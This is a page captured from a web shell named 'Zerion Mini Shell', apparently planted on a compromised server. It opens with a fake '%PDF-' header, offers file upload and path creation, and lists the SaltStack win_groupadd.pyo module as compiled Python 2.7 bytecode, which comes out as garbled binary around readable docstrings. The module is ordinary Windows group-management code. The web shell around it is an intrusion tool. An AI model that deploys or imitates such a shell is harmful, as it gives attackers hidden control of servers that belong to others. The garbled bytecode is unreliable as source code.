%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyo

�
���^c@@s.dZddlmZmZmZddlZddlZddlZddl	Zy.ddl
Z
ddlZddl
Z
eZWnek
r�eZnXeje�ZdZd�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zed
�Zd�Zd�Z d�Z!ed�Z"dS(u
Manage groups on Windows

.. important::
    If you feel that Salt should be using this module to manage groups on a
    minion, and it is using a different module (or gives an error similar to
    *'group.info' is not available*), see :ref:`here
    <module-provider-override>`.
i(tabsolute_importtunicode_literalstprint_functionNugroupcC@s&tjjj�rtrtStdfS(u7
    Set the group module if the kernel is Windows
    u9Module win_groupadd: module only works on Windows systems(tsalttutilstplatformt
is_windowstHAS_DEPENDENCIESt__virtualname__tFalse(((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt__virtual__!scC@s;tjjj��tjjd�}WdQX|jdd�S(u�
    A helper function to get the object for the local machine

    Returns:
        object: Returns the computer object for the local machine
    u
AdsNameSpacesNuuWinNT://.,computer(RRtwinapitComtwin32comtclienttDispatcht	GetObject(tnt((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt_get_computer_object*scC@sCtjjj��tjjd�}WdQX|jdd|d�S(u�
    A helper function to get a specified group object

    Args:

        name (str): The name of the object

    Returns:
        object: The specified group object
    u
AdsNameSpacesNuu
WinNT://./u,group(RRRRR
RRR(tnameR((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt_get_group_object6scC@sMtjjj��tjjd�}WdQX|jdd�}dg|_|S(u�
    A helper function that gets a list of group objects for all groups on the
    machine

    Returns:
        iter: A list of objects for all groups on the machine
    u
AdsNameSpacesNuu	WinNT://.ugroup(	RRRRR
RRRtFilter(Rtresults((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt_get_all_groupsFs
cC@s|jjdd�jdd�S(u�
    Resolve the username from the member object returned from a group query

    Returns:
        str: The username converted to domain\username format
    uWinNT://uu/u\(tADSPathtreplace(tmember((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt
_get_usernameUscK@s�t|�s�t�}y6|jd|�}|j�tjdj|��Wq�tjk
r�}dj|tj	|j
d��}tj|�tSXntj
dj|��tStS(u�
    Add the specified group

    Args:

        name (str):
            The name of the group to add

    Returns:
        bool: ``True`` if successful, otherwise ``False``

    CLI Example:

    .. code-block:: bash

        salt '*' group.add foo
    ugroupuSuccessfully created group {0}uFailed to create group {0}. {1}iuThe group {0} already exists.(tinfoRtCreatetSetInfotlogtformatt
pywintypest	com_errortwin32apit
FormatMessaget	excepinfoterrorR	twarningtTrue(Rtkwargstcomp_objt	new_grouptexctmsg((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytadd`s	

cK@s�t|�r�t�}y*|jd|�tjdj|��Wq�tjk
r�}dj|tj|j	d��}tj
|�tSXntjdj|��tSt
S(u
    Remove the named group

    Args:

        name (str):
            The name of the group to remove

    Returns:
        bool: ``True`` if successful, otherwise ``False``

    CLI Example:

    .. code-block:: bash

        salt '*' group.delete foo
    ugroupuSuccessfully removed group {0}uFailed to remove group {0}. {1}iuThe group {0} does not exists.(RRtDeleteRR R!R"R#R$R%R&R	R'R((RR)R*R,R-((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytdelete�s	
cC@s�y>t|�}|j}g|j�D]}t|�^q%}WnFtjk
r�}dj|tj|j	d��}t
j|�tSX|s�tSi|d6dd6dd6|d6S(u
    Return information about a group

    Args:

        name (str):
            The name of the group for which to get information

    Returns:
        dict: A dictionary of information about the group

    CLI Example:

    .. code-block:: bash

        salt '*' group.info foo
    uFailed to access group {0}. {1}iunameupasswdugidumembersN(RtNametmembersRR!R"R R#R$R%RtdebugR	tNone(RtgroupObjtgr_nametxtgr_memR,R-((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyR�s	)

cC@s�dtkr|rtdSg}t�}xl|D]d}itd|j�d6g|j�D]}t|�^q[d6|jd6dd6}|j|�q1W|td<|S(u�
    Return info on all groups

    Args:

        refresh (bool):
            Refresh the info for all groups in ``__context__``. If False only
            the groups in ``__context__`` will be returned. If True the
            ``__context__`` will be refreshed with current data and returned.
            Default is False

    Returns:
        A list of groups and their information

    CLI Example:

    .. code-block:: bash

        salt '*' group.getent
    ugroup.getentufile.group_to_gidugidumembersunameuxupasswd(t__context__Rt__salt__R1R2Rtappend(trefreshtretRtresultR7tgroup((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytgetent�s	
&


cK@sFyt|�}WnFtjk
rX}dj|tj|jd��}tj|�t	SXg|j
�D]}t|�^qf}tj
jj|�}yc||kr�|jd|jdd��tjdj|��ntjdj||��t	SWnItjk
rA}dj||tj|jd��}tj|�t	SXtS(	uZ
    Add a user to a group

    Args:

        name (str):
            The name of the group to modify

        username (str):
            The name of the user to add to the group

    Returns:
        bool: ``True`` if successful, otherwise ``False``

    CLI Example:

    .. code-block:: bash

        salt '*' group.adduser foo username
    uFailed to access group {0}. {1}iuWinNT://u\u/uAdded user {0}u#User {0} is already a member of {1}u#Failed to add {0} to group {1}. {2}(RR!R"R R#R$R%RR&R	R2RRRt
win_functionstget_sam_nametAddRRR'R((RtusernameR)t	group_objR,R-R7texisting_members((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytadduser�s*
%
cK@s@yt|�}WnFtjk
rX}dj|tj|jd��}tj|�t	SXg|j
�D]}t|�^qf}yrtj
jj|�|kr�|jd|jdd��tjdj|��ntjdj||��t	SWnItjk
r;}dj||tj|jd��}tj|�t	SXtS(	ud
    Remove a user from a group

    Args:

        name (str):
            The name of the group to modify

        username (str):
            The name of the user to remove from the group

    Returns:
        bool: ``True`` if successful, otherwise ``False``

    CLI Example:

    .. code-block:: bash

        salt '*' group.deluser foo username
    uFailed to access group {0}. {1}iuWinNT://u\u/uRemoved user {0}uUser {0} is not a member of {1}u(Failed to remove {0} from group {1}. {2}(RR!R"R R#R$R%RR&R	R2RRRRARBtRemoveRRR'R((RRDR)RER,R-R7RF((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytdeluser!s(
%
cK@scg|jd�D]}tjjj|�^q}t|t�sQtjd�t	Syt
|�}WnFtjk
r�}dj
|tj|jd��}tj|�t	SXg|j�D]}t|�^q�}|j�|j�||kr	tjdj
|��tSt}	x�|D]�}
|
|kry7|jd|
jdd��tjd	j
|
��Wq�tjk
r�}d
j
|
|tj|jd��}tj|�t	}	q�XqqWx�|D]�}
|
|kr�y7|jd|
jdd��tjdj
|
��Wq[tjk
rW}dj
|
|tj|jd��}tj|�t	}	q[Xq�q�W|	S(
u�
    Ensure a group contains only the members in the list

    Args:

        name (str):
            The name of the group to modify

        members_list (str):
            A single user or a comma separated list of users. The group will
            contain only the users specified in this list.

    Returns:
        bool: ``True`` if successful, otherwise ``False``

    CLI Example:

    .. code-block:: bash

        salt '*' group.members foo 'user1,user2,user3'
    u,umember_list is not a listuFailed to access group {0}. {1}iu{0} membership is correctuWinNT://u\u/uUser added: {0}uFailed to add {0} to {1}. {2}uUser removed: {0}u"Failed to remove {0} from {1}. {2}(tsplitRRRARBt
isinstancetlistRR3R	RR!R"R R#R$R%R&R2RtsortRR(RCRRH(Rtmembers_listR)tmt	obj_groupR,R-R7RFtsuccessR((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyR2PsN1

%





cC@sYdtkr|rtdSt�}g}x|D]}|j|j�q1W|td<|S(u�
    Return a list of groups

    Args:

        refresh (bool):
            Refresh the info for all groups in ``__context__``. If False only
            the groups in ``__context__`` will be returned. If True, the
            ``__context__`` will be refreshed with current data and returned.
            Default is False

    Returns:
        list: A list of groups on the machine

    CLI Example:

    .. code-block:: bash

        salt '*' group.list_groups
    ugroup.list_groups(R9RR;R1(R<RR=R>((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pytlist_groups�s	

(#t__doc__t
__future__RRRtloggingtsalt.utils.platformRtsalt.utils.win_functionstsalt.utils.winapiR#twin32com.clientR
R!R(RtImportErrorR	t	getLoggert__name__RRR
RRRRR.R0RR@RGRIR2RR(((s=/usr/lib/python2.7/site-packages/salt/modules/win_groupadd.pyt<module>
s6


							#	#	%&	0	/	H

Zerion Mini Shell 1.0